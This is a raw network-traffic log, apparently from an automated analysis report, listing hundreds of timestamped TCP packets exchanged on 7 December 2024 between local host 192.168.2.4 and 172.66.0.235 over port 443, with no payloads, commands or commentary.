                                                                                                                                                                  Dec 7, 2024 15:43:14.466557980 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.469926119 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.469983101 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.475075960 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.475132942 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.501030922 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.501090050 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.506117105 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.506185055 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.574436903 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.574518919 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.581090927 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.581161022 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.584469080 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.584536076 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.590707064 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.590765953 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.593677998 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.593738079 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.599272013 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.599337101 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.604458094 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.604522943 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.609771013 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.609847069 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.612490892 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.612554073 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.617574930 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.617652893 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.622586966 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.622661114 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.625324011 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.625377893 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.630389929 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.630465031 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.635579109 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.635647058 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.639595985 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.639648914 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.644687891 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.644742012 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.647456884 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.647520065 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.652483940 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.652540922 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.657672882 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.657722950 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.660296917 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.660368919 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.755179882 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.755264044 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.757836103 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.757896900 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.762520075 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.762578011 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.766588926 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.766674042 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.770752907 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.770818949 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.773885965 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.773948908 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.784327030 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.784332991 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.784362078 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.784405947 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.784413099 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.784430027 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.797108889 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.797127008 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.797234058 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.797245026 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.806968927 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.807003021 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.807053089 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.807059050 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.807080030 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.807094097 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.810954094 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.811029911 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.824470997 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.824490070 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.824578047 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.824584007 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.837199926 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.837223053 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.837296009 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.837304115 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.850640059 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.850656986 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.850728989 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.850737095 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.860430002 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.860469103 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.860498905 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.860505104 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.860516071 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.860548973 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.862411022 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.862478018 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.965742111 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.965759039 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.965868950 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.965879917 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.965925932 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.975380898 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.975398064 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.975451946 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.975457907 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.975492954 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.987687111 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.987704992 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.987808943 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.987814903 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.987859011 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.999494076 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.999510050 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.999579906 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:14.999586105 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:14.999619007 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.008132935 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.008146048 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.008225918 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.008232117 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.008280039 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.016092062 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.016108036 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.016199112 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.016205072 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.016242981 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.023536921 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.023554087 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.023623943 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.023629904 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.023668051 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.032077074 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.032093048 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.032162905 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.032169104 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.032210112 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.157736063 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.157756090 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.157857895 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.157872915 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.157915115 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.159545898 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.159722090 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.166877031 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.166892052 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.166964054 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.166970015 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.175352097 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.175369024 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.175441980 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.175448895 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.181516886 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.181551933 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.181581020 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.181586981 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.181610107 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.181626081 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.187645912 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.187676907 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.187720060 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.187725067 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.187757015 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.195719957 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.195739985 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.195780039 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.195790052 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.195822954 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.204210043 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.204224110 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.204283953 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.204288960 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.212800980 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.212814093 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.212865114 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.212869883 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.214165926 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.214214087 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.214221001 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.214262962 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.218914986 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.218975067 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.218981028 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.271871090 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.352874994 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.352891922 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.352991104 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.353001118 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.353050947 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.358778954 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.358793974 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.358860016 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.358865976 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.358906984 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.365345001 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.365361929 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.365418911 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.365422964 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.365462065 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.367258072 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.367331028 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.368310928 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.368364096 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.374958992 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.374974966 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.375031948 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.375037909 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.375077963 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.381309032 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.381324053 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.381386042 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.381392002 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.381431103 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.387916088 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.387931108 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.388006926 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.388010979 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.388053894 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.394658089 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.394675016 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.394737959 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.394742966 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.394809008 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.541928053 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.541946888 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.542023897 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.542037010 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.542077065 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.548141956 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.548180103 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.548254013 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.548259974 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.548304081 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.554023027 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.554037094 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.554099083 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.554110050 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.554151058 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.560643911 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.560658932 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.560718060 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.560722113 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.560765982 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.567362070 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.567378998 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.567431927 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.567435980 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.567476988 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.573606968 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.573623896 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.573681116 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.573685884 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.573724985 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.580614090 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.580630064 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.580717087 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.580722094 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.580761909 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.586189985 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.586205959 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.586251974 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.586258888 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.586286068 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.586308956 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.734163046 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.734183073 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.734291077 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.734301090 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.734344006 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.740186930 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.740206003 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.740273952 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.740279913 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.740330935 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.746860027 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.746876955 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.746978045 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.746984005 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.747020960 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.752747059 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.752763033 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.752837896 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.752841949 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.752891064 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.759366035 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.759382963 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.759443998 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.759449005 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.759509087 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.765707970 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.765723944 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.765791893 CET49730443192.168.2.4172.66.0.235
